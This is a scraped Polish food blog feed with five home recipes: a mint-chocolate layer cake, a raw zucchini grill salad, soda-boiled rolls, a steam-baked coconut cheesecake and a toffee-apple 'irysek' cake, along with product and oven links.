<span style="font-family: Arial, Helvetica, sans-serif;">Szukasz innych przepisów na kolację? Zajrzyj już teraz do serwisu kulinarnego <span style="box-sizing: border-box; font-weight: 600;">Najlepszewkuchni.pl</span>, gdzie możesz już teraz znaleźć szeroką gamę różnych przepisów na kolację, a także na wiele innych dań na każdy dzień. W serwisie możesz dodać także własne przepisy, którymi chcesz podzielić się z innymi użytkownikami!</span></div>
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-21827409776649814672019-05-21T00:00:00.000+02:002019-05-23T10:31:13.655+02:00ciasto miętowo-czekoladowe <div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-g-c4p6QqYhE/XOLjmRZtsxI/AAAAAAAAN2k/nJd5wc_z-G0ZnGljplk3Y0XfX2HQ_4YPgCLcBGAs/s1600/ciasto%2Bmiodowo-czekoladowe.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://3.bp.blogspot.com/-g-c4p6QqYhE/XOLjmRZtsxI/AAAAAAAAN2k/nJd5wc_z-G0ZnGljplk3Y0XfX2HQ_4YPgCLcBGAs/s640/ciasto%2Bmiodowo-czekoladowe.jpg" width="480" /></a></div>
<br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>Miętowy smak w ciastach nie jest jeszcze bardzo popularny i często wywołuje zdziwienie. Jednak dodatek takiego akcentu sprawia, że ciasto jest nie tylko pyszne ale też bardzo orzeźwiające. Doskonałe będzie na upały, nie zapycha i jest lekkie. A połączenie mięty z czekoladą jest boskie:)</i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">*foremka 23*23 cm</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Składniki:</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">na biszkopt:</span><br />
<br />
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3 jajka</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3/4 szklanki mąki pszennej</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 łyżka mąki ziemniaczanej</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3/4 szklanki cukru</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki kakao</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">szczypta soli</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki oleju</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki zimnej wody</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">łyżeczka proszku do pieczenia</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">na masę brzoskwiniową:</span></div>
<div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 opakowanie cytrynowej galaretki (<a href="https://www.ceneo.pl/39993973#crid=263311&pid=19865" target="_blank">tutaj zobaczcie galaretki bez dodatku cukru:</a>)</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">słoiczek dżemu brzoskwiniowego</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">na galaretkę miętową:</span></div>
</div>
<div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 opakowanie galaretki agrestowej</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">150 g miętowych landrynek (<a href="https://www.ceneo.pl/66819416#crid=263412&pid=19865" target="_blank">na przykład takich: klik</a>)</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">na mus miętowo-czekoladowy:</span></div>
</div>
<div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">200 g czekolady z miętowym nadzieniem</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">100 g czekolady gorzkiej</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">330 ml kremówki </span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">dodatkowo:</span></div>
</div>
<div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">paczka biszkoptów z kakaową plamką</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">wiórki czekoladowe </span></li>
</ul>
</div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przygotowanie ciasta zacząć od upieczenia kakaowego biszkoptu (można to zrobić nawet dzień wcześniej). Białka ubić na sztywno ze szczyptą soli. Ubijając dalej dodawać cukier a następnie żółtka, później wodę i olej. Mąkę wymieszać z kakao, mąką ziemniaczaną i proszkiem do pieczenia. Przesiać do masy jajecznej i delikatnie ale dokładnie wymieszać. Przełożyć do foremki wyścielonej papierem do pieczenia i piec w 180*C około 30 minut. Wystudzić. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Galaretkę cytrynową rozpuścić w 1/3 szklanki wrzątku. Dodać do dżemu, wymieszać i wylać na biszkopt. Kiedy zastygnie na wierzchu położyć biszkopty. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">W garnku zagotować dwie i pół szklanki wody. Wsypać cukierki miętowe i mieszając gotować powoli aż się rozpuszczą. Zdjąć z ognia, wsypać galaretki agrestowe i dokładnie wymieszać Odstawić, kiedy zacznie tężeć wylać na warstwę biszkoptów. Wstawić do lodówki. Kiedy całkiem zastygnie przygotować ostatnią warstwę- mus czekoladowy. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Czekolady połamać, wrzucić do metalowej miski ustawić nad garnkiem z wrzątkiem. Mieszając rozpuścić. Kremówkę ubić na sztywno. Dodać rozpuszczone czekolady i szybko zmiksować. Wyłożyć na galaretkę, posypać wiórkami i wstawić na kilka godzin do lodówki. </span>Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com4tag:blogger.com,1999:blog-6618786850056883492.post-91039668734947477622019-05-18T00:00:00.000+02:002019-05-18T00:00:07.648+02:00sałatka z surowej cukinii (do grilla)<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-1Ki9CzY7CZ4/XNfrmq6XN8I/AAAAAAAAN1w/Uq3qcySfS9IwqEq0m5UIyWpDpeFVjNn-QCLcBGAs/s1600/sur%25C3%25B3wka%2Bz%2Bcukini%2Bdo%2Bgrilla.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://1.bp.blogspot.com/-1Ki9CzY7CZ4/XNfrmq6XN8I/AAAAAAAAN1w/Uq3qcySfS9IwqEq0m5UIyWpDpeFVjNn-QCLcBGAs/s640/sur%25C3%25B3wka%2Bz%2Bcukini%2Bdo%2Bgrilla.jpg" width="480" /></a></div>
<br />
<span style="color: #666666; font-family: Arial, Helvetica, sans-serif;"><i>Choć pogoda nie rozpieszcza to mamy sezon grillowy. A ponieważ najczęściej na grillu lądują kaloryczne i ciężkie rzeczy to dobrze byłoby, gdyby surówka była lekka i zdrowa. Ta jest moją ulubioną, odkąd odkryłam, że cukinię można jeść na surowo. Teraz nie wyobrażam sobie grillowania bez tej surówki.</i></span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Składniki:</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;"> młoda cukinia</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 pomidory</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">czerwona papryka</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">zielony ogórek</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 kiszone ogórki</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">czerwona cebula</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">pół puszki kukurydzy</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">młoda cebulka lub szczypiorek</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">3 łyżki oleju</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 łyżki soku z cytryny</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">pieprz </span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">sól</span></li>
</ul>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Cukinię i zielonego ogórka zetrzeć na tarce w plasterki. Nasolić i odstawić na chwilę. Następnie odcisnąć z nadmiaru wody. Pozostałe warzywa pokroić, cebulkę posiekać, kukurydzę odsączyć. Wszystko razem wymieszać. Olej wymieszać z sokiem z cytryny i pieprzem. Polać sałatkę. Można posolić do smaku, jeśli trzeba. </span></div>
<div>
<br /></div>
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com1tag:blogger.com,1999:blog-6618786850056883492.post-77297536871246750522019-05-14T00:00:00.000+02:002019-05-23T10:33:45.862+02:00bułeczki obwarzane<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-DbA7IPmxZW4/XNCOobDgZpI/AAAAAAAAN0c/SYPxI4W4xecZ9Jv_7oMj7Vww-V7wtxuUwCLcBGAs/s1600/bu%25C5%2582ki%2Bobwarzane.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://2.bp.blogspot.com/-DbA7IPmxZW4/XNCOobDgZpI/AAAAAAAAN0c/SYPxI4W4xecZ9Jv_7oMj7Vww-V7wtxuUwCLcBGAs/s640/bu%25C5%2582ki%2Bobwarzane.jpg" width="480" /></a></div>
<br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>Wszystkie domowe bułeczki są pyszne ale to pobiły każde. Miały tak chrupiącą skórkę, że aż było słychać jak się kruszy. W smaku była jak solone paluszki albo krakowskie obwarzanki. A wszystko to za sprawą tego, że przed pieczeniem bułeczki przez chwilę trzeba obgotować. Zajmuje to trochę więcej czasu ale wierzcie mi, że warto. Pierwsza tura poszła jeszcze gorąca, takie były dobre. Świeże są chrupiące, później skórka robi się miękka ale wilgotne i smaczne są nawet na trzeci dzień. </i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Składniki na 9 dużych bułek:</span><br />
<br />
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">półtorej szklanki ciepłej wody</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">łyżka cukru</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">łyżka soli</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">14 g drożdży</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">570 g mąki (najlepsza będzie ta: <a href="https://www.ceneo.pl/46593289#crid=263413&pid=19865" target="_blank">klik</a>)</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">30 g roztopionego masła</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">dodatkowo:</span></div>
<div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">20 g roztopionego masła</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">łyżka gruboziarnistej soli</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">5 łyżek sody</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">woda do gotowania</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Drożdże rozkruszyć, zasypać cukrem, łyżką mąki i zalać odrobiną wody. Wymieszać i odstawić, żeby rozczyn ruszył. Następnie dodać pozostałą mąkę, wodę i sól. Wyrabiać ciasto a po chwili wlać wystudzone masło. Wyrabiać aż ciasto będzie gładkie. Przykryć ściereczką i odstawić na godzinę do wyrośnięcia. Z wyrośniętego ciasta uformować bułeczki. W dużym rondlu zagotować około dwa litry wody z sodą. Wrzucać po jednej bułeczce i obgotowywać po około pół minuty. Układać na blaszce do pieczenia wyścielonej papierem. Każdą bułeczkę naciąć ostrym nożem, posmarować masłem i posypać solą. Od razu wstawić do piekarnika nagrzanego do 220*C i piec około 10-15 minut aż będą mocno brązowe. Wystudzić na kratce. </span></div>
</div>
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Inspiracja- <a href="https://www.mojewypieki.com/przepis/buleczki-preclowe" target="_blank">bułki preclowe</a></span>Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com1tag:blogger.com,1999:blog-6618786850056883492.post-29775009899948346232019-05-12T19:49:00.000+02:002019-05-12T19:49:45.374+02:00sernik kokosowy <br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-Hw2obzNUrhU/XNhW1kr9MMI/AAAAAAAAN18/QYe9WENkYRMoKiWAy6LB05NkN-ewV4W4gCLcBGAs/s1600/sernik.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="727" data-original-width="1600" height="290" src="https://4.bp.blogspot.com/-Hw2obzNUrhU/XNhW1kr9MMI/AAAAAAAAN18/QYe9WENkYRMoKiWAy6LB05NkN-ewV4W4gCLcBGAs/s640/sernik.jpg" width="640" /></a></div>
<br />
<span style="color: #666666; font-family: Arial, Helvetica, sans-serif;"><i>Raz na jakiś czas uda mi się zrobić mistrzowski wypiek i to zawsze wtedy, kiedy się nie staram a robię byle jak. Właśnie tak było z tym sernikiem. Nie miałam kompletnie na niego pomysłu a chciałam wypróbować jak funkcja pary w nowym piekarniku sprawdzi się przy pieczeniu sernika. Dlatego namieszałam co tam akurat miałam pod ręką i nawet nie spodziewałam się, że tak pysznie to się skończy. </i></span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">A co do <a href="https://www.electrolux.pl/kitchen/cooking/ovens/steam-oven/eod5c71x/" target="_blank">parowego Electroluxa </a>to kolejny raz jestem zachwycona. Co prawda sernik piekł się dłużej niż normalnie ale ładnie wyrósł, w środku nie był zbity tylko lekki jak chmurka, kremowy a co najciekawsze prawie nie opadł po upieczeniu. Niby robiłam tak jak zawsze ale upiekł się zupełnie inaczej. </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Jeśli macie piekarnik z funkcją pieczenia parowego to spróbujcie tak właśnie go upiec. Jeśli nie macie to na dno piekarnika postawcie metalową miseczkę z wodą. </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">*tortownica 26 cm lub większa</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">Składniki:</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">na ciasto kakaowe:</span><br />
<br />
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">150 g mąki</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">100 g masła</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">50 g cukru pudru</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 żółtka</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 łyżki kakao</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">łyżeczka proszku do pieczenia</span></li>
</ul>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">na masę serową: </span></div>
<div>
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1 kg sera z wiaderka</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">150 g wiórek kokosowych</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">5 jajek</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 białka (pozostałe z ciasta)</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 opakowania budyniu śmietankowego</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">szklanka cukru</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1/2 szklanki oleju</span></li>
</ul>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">na polewę:</span></div>
</div>
<div>
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">4 łyżki gęstej kwaśnej śmietany</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 łyżki cukru pudru</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">3 łyżki kokosowych wiórek</span></li>
</ul>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">dodatkowo:</span></div>
<div>
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">kilka bezików</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">borówki amerykańskie</span></li>
</ul>
</div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Składniki ciasta wymieszać i zagnieść szybko. Tortownicę wyścielić papierem do pieczenia. Na dnie rozwałkować ciasto. Wstawić do lodówki na pół godziny. </span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Piekarnik rozgrzać do 200*C. Wstawić tortownicę z ciastem i podpiec przez około 10-15 minut. W tym czasie przygotować masę serową. Białka ubić na sztywno. Żółtka utrzeć z cukrem, następnie dodać ser, budynie, olej i kokos. Zmiksować. Na końcu dodać pianę z białek i delikatnie wymieszać łyżką. Masę serową wylać na podpieczony spód. Temperaturę piekarnika zmniejszyć do 150*C, wstawić miseczkę z wodą (lub wlać wodę na dno i włączyć funkcję pary). Włożyć sernik i piec około 70- 75 minut. Kiedy sernik na środku nie będzie już płynny to wyłączyć piekarnik i uchylić drzwiczka. Pozostawić na godzinę. Następnie wyjąc i odstawić na kilka godzin do zupełnego wystudzenia. </span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Śmietanę wymieszać z cukrem pudrem i dwiema łyżkami kokosu. Wyłożyć na sernik, posypać pozostałym kokosem. Na wierzchu ułożyć beziki i borówki. </span></div>
<div>
<br /></div>
</div>
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com3tag:blogger.com,1999:blog-6618786850056883492.post-77440378523668546822019-05-09T00:00:00.000+02:002019-05-09T14:14:20.920+02:00irysek<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-oVhoXR3wSq8/XM_jFdG-JVI/AAAAAAAAN0Q/FseJDmWpBdI6K1YvM1qTZhjG_VU9PkjNwCLcBGAs/s1600/irysek%2Bpodp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://4.bp.blogspot.com/-oVhoXR3wSq8/XM_jFdG-JVI/AAAAAAAAN0Q/FseJDmWpBdI6K1YvM1qTZhjG_VU9PkjNwCLcBGAs/s640/irysek%2Bpodp.jpg" width="480" /></a></div>
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>To ciasto łączy w sobie wszystko co lubimy. Słodkie jabłka, kwaśny dżem i karmelową polewę. Zrobiłam ją na wzór popularnych kiedyś cukierków "iryski:". Pamiętacie je? były z sezamem i z makiem, ja uwielbiałam te drugie. Do dziś mam do nich sentyment, dlatego chętnie przypomniałam sobie ten smak.</i></span><br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i></span>
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>Uwaga: żeby przyspieszyć sobie przygotowanie ciasta polewę iryskową można przygotować dzień wcześniej. Biszkopt również.</i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">*foremka 24*24 cm</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Składniki:</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">na biszkopt:</span><br />
<ul style="background-color: white; line-height: 1.4; margin: 0.5em 0px; padding: 0px 2.5em;">
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">6 jajek</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">1 szklanka mąki</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki mąki ziemniaczanej</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki zimnej wody</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki oleju</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">1 szklanka cukru</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: "arial" , "helvetica" , sans-serif;">1 łyżeczka proszku do pieczenia</span></li>
</ul>
<div>
<span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">na masę jabłkową:</span></span></div>
<div>
<ul>
<li><span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">słoik (ok.800g) prażonych jabłek</span></span></li>
<li><span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">2 galaretki cytrynowe</span></span></li>
</ul>
<div>
<span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">na masę iryskową:</span></span></div>
</div>
<div>
<ul>
<li><span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">350 ml śmietanki kremówki </span></span></li>
<li><span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">200 ml mleka</span></span></li>
<li><span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">200 g cukru </span></span></li>
<li><span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">50 g masła</span></span></li>
<li><span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">2-3 łyżki suchego maku</span></span></li>
<li><span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">3 łyżeczki żelatyny</span></span></li>
<li><span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">odrobina wrzątku</span></span></li>
</ul>
<div>
<span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">dodatkowo:</span></span></div>
</div>
<div>
<ul>
<li><span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">16 okrągłych biszkoptów</span></span></li>
<li><span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">3-4 łyżki dżemu porzeczkowego</span></span></li>
<li><span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: "arial" , "helvetica" , sans-serif;">1/2 szklanki mleka</span></span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Najpierw przygotować masę iryskową: mleko, cukier i masło umieścić w rondelku i na małym ogniu, co chwilę mieszając gotować około godziny do momentu aż masa zacznie robić się jasnobrązowa. Pod koniec dodać mak. Wystudzić. Jeżeli zgęstnieje to nic, tak ma być. </span></div>
</div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div>
<span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;">Białka ubić na sztywno ze szczyptą soli. Ubijając dalej dodawać cukier a następnie żółtka, później wodę i olej. Mąkę wymieszać z mąką ziemniaczaną i proszkiem do pieczenia. Przesiać do masy jajecznej i delikatnie ale dokładnie wymieszać. Przełożyć do foremki wyścielonej papierem do pieczenia i piec w 180*C około 40 minut. Wystudzić. Przekroić na dwa blaty. </span><br />
<span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: arial, helvetica, sans-serif;">Galaretki cytrynowe rozpuścić w 3/4 szklanki wrzątku. Dodać wo jabłek, dobrze wymieszać i odstawić. </span><br />
<span style="font-family: arial, helvetica, sans-serif;"><br /></span>
<span style="font-family: arial, helvetica, sans-serif;"><br /></span>
<span style="font-family: arial, helvetica, sans-serif;">Dolną część biszkopta położyć na dnie wyścielonej papierem blaszki. Kiedy jabłka zaczną tężeć wyłożyć je na biszkopt i przykryć drugą jego częścią. Na wierzchu biszkopta rozsmarować dżem. </span><br />
<span style="font-family: arial, helvetica, sans-serif;"><br /></span>
<span style="font-family: arial, helvetica, sans-serif;"><br /></span>
<span style="color: #6e6e6e; font-family: "arial" , "helvetica" , sans-serif;"></span><br />
<span style="font-family: arial, helvetica, sans-serif;">Żelatynę rozpuścić w odrobinie wrzątku. Kremówkę ubić na sztywno. Jeśli masa iryskowa zbyt mocno zgęstniała to lekko ją podgrzać, żeby się rozpuściła. Połowę dodać do kremówki, zmiksować, wlać rozpuszczoną żelatynę, zmiksować. Wylać na dżem. Biszkopty moczyć w mleku i układać na warstwie śmietanowej. Górę ciasta polać pozostałą masą iryskową. Wstawić do lodówki na minimum kilka godzin. </span></div>
<div>
<br /></div>
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com2